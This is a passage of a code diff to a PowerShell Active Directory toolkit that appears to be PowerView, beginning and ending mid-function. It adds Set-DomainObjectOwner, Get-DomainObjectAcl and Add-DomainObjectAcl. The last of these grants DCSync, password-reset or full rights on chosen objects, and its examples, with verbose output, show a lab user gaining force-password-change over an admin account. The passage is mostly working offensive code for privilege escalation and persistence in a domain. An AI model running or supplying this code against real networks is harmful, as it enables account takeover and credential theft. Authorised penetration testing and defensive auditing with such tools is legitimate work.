$_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } } - catch {} - } | Where-Object { - # filter for modifiable rights - ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) } } -filter Get-GUIDMap { +function Set-DomainObjectOwner { <# - .SYNOPSIS +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain - Helper to build a hash table of [GUID] -> resolved names +Specifies the domain to use for the query, defaults to the current domain. - Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +.PARAMETER LDAPFilter - .PARAMETER Domain - - The domain to use for the query, defaults to the current domain. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. +.PARAMETER SearchBase - .PARAMETER PageSize +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - The PageSize to set for the LDAP searcher object. +.PARAMETER Server - .LINK +Specifies an Active Directory server (domain controller) to bind to. - http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, - [ValidateRange(1,10000)] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ResultPageSize = 200, - $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - $SchemaPath = (Get-NetForest).schema.name + [Switch] + $Tombstone, - $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize - if($SchemaSearcher) { - $SchemaSearcher.filter = "(schemaIDGUID=*)" - try { - $Results = $SchemaSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] - } - $Results.dispose() - $SchemaSearcher.dispose() + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid } - catch { - Write-Verbose "Error in building GUID map: $_" + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" } } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential - if ($RightsSearcher) { - $RightsSearcher.filter = "(objectClass=controlAccessRight)" - try { - $Results = $RightsSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.Options.SecurityMasks = 'Owner' + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } } - $Results.dispose() - $RightsSearcher.dispose() - } - catch { - Write-Verbose "Error in building GUID map: $_" } } - - $GUIDs } -function Get-NetComputer { +function Get-DomainObjectAcl { <# - .SYNOPSIS - - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER ComputerName +.SYNOPSIS - Return computers with a specific name, wildcards accepted. +Returns the ACLs associated with a specific active directory object. - .PARAMETER SPN +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap - Return computers with a specific service principal name, wildcards accepted. +.PARAMETER Identity - .PARAMETER OperatingSystem +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. - Return computers with a specific operating system, wildcards accepted. +.PARAMETER ResolveGUIDs - .PARAMETER ServicePack +Switch. Resolve GUIDs to their display names. - Return computers with a specific service pack, wildcards accepted. +.PARAMETER RightsFilter - .PARAMETER Filter +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). - A customized ldap filter string to use, e.g. "(description=*admin*)" +.PARAMETER Domain - .PARAMETER Printers +Specifies the domain to use for the query, defaults to the current domain. - Switch. Return only printers. +.PARAMETER LDAPFilter - .PARAMETER Ping +Specifies an LDAP query string that is used to filter Active Directory objects. - Switch. Ping each host to ensure it's up before enumerating. +.PARAMETER SearchBase - .PARAMETER FullData +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - Switch. Return full computer objects instead of just system names (the default). +.PARAMETER Server - .PARAMETER Domain +Specifies an Active Directory server (domain controller) to bind to. - The domain to query for computers, defaults to the current domain. +.PARAMETER SearchScope - .PARAMETER DomainController +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Domain controller to reflect LDAP queries through. +.PARAMETER ResultPageSize - .PARAMETER ADSpath +Specifies the PageSize to set for the LDAP searcher object. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER SiteName +.PARAMETER ServerTimeLimit - The AD Site name to search for computers. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Unconstrained +.PARAMETER Tombstone - Switch. Return computer objects that have unconstrained delegation. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER PageSize +.PARAMETER Credential - The PageSize to set for the LDAP searcher object. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs - .EXAMPLE +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. - PS C:\> Get-NetComputer - - Returns the current computers in current domain. +.EXAMPLE - .EXAMPLE +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs - PS C:\> Get-NetComputer -SPN mssql* - - Returns all MS SQL servers on the domain. +Enumerate the ACL permissions for all OUs in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer -Domain testing - - Returns the current computers in 'testing' domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs - .EXAMPLE +.OUTPUTS - PS C:\> Get-NetComputer -Domain testing -FullData - - Returns full computer objects in the 'testing' domain. +PowerView.ACL - .LINK - - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +Custom PSObject with ACL entries. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', - - [String] - $SPN, + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - [String] - $OperatingSystem, + [Switch] + $ResolveGUIDs, [String] - $ServicePack, + [Alias('Rights')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + [ValidateNotNullOrEmpty()] [String] - $Filter, - - [Switch] - $Printers, - - [Switch] - $Ping, - - [Switch] - $FullData, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $Domain, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $ADSpath, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $SiteName, + $SearchScope = 'Subtree', - [Switch] - $Unconstrained, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - # so this isn't repeated if multiple computer names are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential - } - - process { + BEGIN { + $SearcherArguments = @{ + 'SecurityMasks' = 'Dacl' + 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + + $DomainGUIDMapArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } - if ($CompSearcher) { + # get a GUID -> name mapping + if ($PSBoundParameters['ResolveGUIDs']) { + $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments + } + } - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Searching for computers with for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - } - # set the filters for the seracher if it exists - if($Printers) { - Write-Verbose "Searching for printers" - # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" - $Filter += "(objectCategory=printQueue)" + PROCESS { + if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } } - if($SPN) { - Write-Verbose "Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - if($OperatingSystem) { - $Filter += "(operatingsystem=$OperatingSystem)" - } - if($ServicePack) { - $Filter += "(operatingsystemservicepack=$ServicePack)" + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - if($SiteName) { - $Filter += "(serverreferencebl=$SiteName)" + + if ($Filter) { + $Searcher.filter = "(&$Filter)" } + Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" - $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" - Write-Verbose "Get-NetComputer filter : '$CompFilter'" - $CompSearcher.filter = $CompFilter + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = $_.Properties - try { - $Results = $CompSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Up = $True - if($Ping) { - # TODO: how can these results be piped to ping for a speedup? - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname - } - if($Up) { - # return full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Computer = Convert-LDAPProperty -Properties $_.Properties - $Computer.PSObject.TypeNames.Add('PowerView.Computer') - $Computer + if ($Object.objectsid -and $Object.objectsid[0]) { + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $ObjectSid = $Null + } + + try { + New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object { + + if ($PSBoundParameters['RightsFilter']) { + $GuidFilter = Switch ($RightsFilter) { + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + Default { '00000000-0000-0000-0000-000000000000' } + } + if ($_.ObjectType -eq $GuidFilter) { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } } else { - # otherwise we're just returning the DNS host name - $_.properties.dnshostname + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid + $Continue = $True + } + + if ($Continue) { + $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + + if ($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { + try { + $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + $OutObject = New-Object -TypeName PSObject -Property $AclProperties + $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $OutObject + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') + $_ + } } } } - $Results.dispose() - $CompSearcher.dispose() - } - catch { - Write-Warning "Error: $_" + catch { + Write-Verbose "[Get-DomainObjectAcl] Error: $_" + } } } } } -function Get-ADObject { +function Add-DomainObjectAcl { <# - .SYNOPSIS +.SYNOPSIS + +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are granted on the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalLDAPFilter + +Specifies an LDAP query string that is used to filter for the Active Directory object principal. - Takes a domain SID and returns the user, group, or computer object - associated with it. +.PARAMETER PrincipalSearchBase - .PARAMETER SID +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - The SID of the domain object you're querying for. +.PARAMETER Server - .PARAMETER Name +Specifies an Active Directory server (domain controller) to bind to. - The Name of the domain object you're querying for. +.PARAMETER SearchScope - .PARAMETER SamAccountName +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - The SamAccountName of the domain object you're querying for. +.PARAMETER ResultPageSize - .PARAMETER Domain +Specifies the PageSize to set for the LDAP searcher object. - The domain to query for objects, defaults to the current domain. +.PARAMETER ServerTimeLimit - .PARAMETER DomainController +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Domain controller to reflect LDAP queries through. +.PARAMETER Tombstone - .PARAMETER ADSpath +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Credential - .PARAMETER Filter +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Additional LDAP filter string for the query. +.PARAMETER Rights - .PARAMETER ReturnRaw +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. - Switch. Return the raw object instead of translating its properties. - Used by Set-ADObject to modify object properties. +.PARAMETER RightsGUID - .PARAMETER PageSize +Manual GUID representing the right to add to the target. - The PageSize to set for the LDAP searcher object. +.EXAMPLE - .PARAMETER Credential +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +... - .EXAMPLE +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local - PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" - - Get the domain object associated with the specified SID. - - .EXAMPLE +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } - PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" - - Get the AdminSDHolder object for the testlab.local domain. +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.EXAMPLE + +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +[no results returned] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +.LINK + +https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SID, + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + [ValidateNotNullOrEmpty()] [String] - $Name, + $TargetDomain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $SamAccountName, + $TargetLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $Domain, + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + [ValidateNotNullOrEmpty()] [String] - $DomainController, + $PrincipalDomain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $ADSpath, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $Filter, + $SearchScope = 'Subtree', - [Switch] - $ReturnRaw, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID ) - process { - if($SID) { - # if a SID is passed, try to resolve it to a reachable domain name for the searcher - try { - $Name = Convert-SidToName $SID - if($Name) { - $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical - 